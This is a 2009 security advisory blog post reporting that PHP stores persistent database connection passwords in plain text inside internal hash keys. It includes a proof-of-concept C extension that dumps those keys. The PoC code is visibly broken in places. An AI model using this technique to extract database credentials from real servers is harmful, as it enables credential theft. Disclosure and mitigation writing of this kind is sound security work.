PHP – Persistent Database Password

Publié le par | sécurité

Is storing password in clear text inside a hash is a vulnerability or not ? To me, yes it’s a unsecure design bug and it should be fixed. But others think that untrusted binary extension shouldn’t run anyways and if a bad guys inject a rogue extensions, it’s already game over. So… here it’s. Persistent database password dump proof of concept.

Advisory: Persistent password accessible by rogue extensions
Release Date: 2009/11/17
Last Modified: 2009/11/17
Author: Francois Harvey (contact at francoisharvey dot ca)
Application: PHP4, PHP5, PHP-DEV
Severity: Persistent password can be disclosed
Risk: Low ( you need to inject binary code anyways…)
Vendor Status: notified 12 november 2009

Overview:PHP is a widely-used general-purpose scripting language that is especially suited for Web development. PHP allow persistent database connnection.

Details: When persistent database connection is used, PHP stores the needed details in a persistent list. This list is not « hashed » and information is stored in plain text. For sample here are some hashed details for well known db engine :

./ext/msql/php_msql.c: hashed_details_length = spprintf(&hashed_details, 0, "msql_%s",Z_STRVAL_P(yyhost));

./ext/odbc/php_odbc.c: hashed_len = spprintf(&hashed_details, 0, "%s_%s_%s_%s_%d", ODBC_TYPE, db, uid, pwd, cur_opt);

./ext/mssql/php_mssql.c: hashed_details_length = spprintf(&hashed_details,0,"mssql_%s_%s_%s",Z_STRVAL_PP(yyhost),Z_STRVAL_PP(yyuser),Z_STRVAL_PP(yypasswd));

./ext/mysql/php_mysql.c: hashed_details_length = spprintf(&hashed_details, 0, "mysql_%s_%s_%s_%ld", SAFE_STRING(host_and_port), SAFE_STRING(user), SAFE_STRING(passwd), client_flags);

So the passwords are embedded within the clear text hash… It’s possible to code a php module that will access the persistent_list and dump the clear text hash.

Exploit Code:

// POC - Show Persistent List - (C) Francois Harvey
#include "config.h"

#include "php.h"
#include "zend_globals.h"

#include "php_persistent.h"

static function_entry persistent_functions[] = {
   PHP_FE(show_persistent, NULL)

zend_module_entry persistent_module_entry = {
#if ZEND_MODULE_API_NO >= 20010901
#if ZEND_MODULE_API_NO >= 20010901


  php_printf(" Current Peristent List PoC   n");
  php_printf(" (C) 2009 Francois Harvey     n");
  php_printf(" n");

  Bucket *p;
  uint i;

  HashTable *pl = &EG(persistent_list);

  for (i = 0; i nTableSize; i++) {
     p = pl->arBuckets[i];
     while (p != NULL) {
        php_printf("%d : %sn", i, p->arKey);
        p = p->pNext;


This PoC coded and loaded as a module will dump the persistent list when used (module should be loaded first with dl() or php.ini) in php as


Mitigation: Module inclusion in runtime is currently possible but more limited than from the past and from 5.2.5 needs to be stored in a specific folder. Limiting the scope of this attack.

Solution:The quick answer is : no persistent connect or dont run untrusted extensions. But the real one is to hash (md5 or sha1) before stored inside the persistent_list (and not strcat the password…), but this patch should be applied to each individual extensions.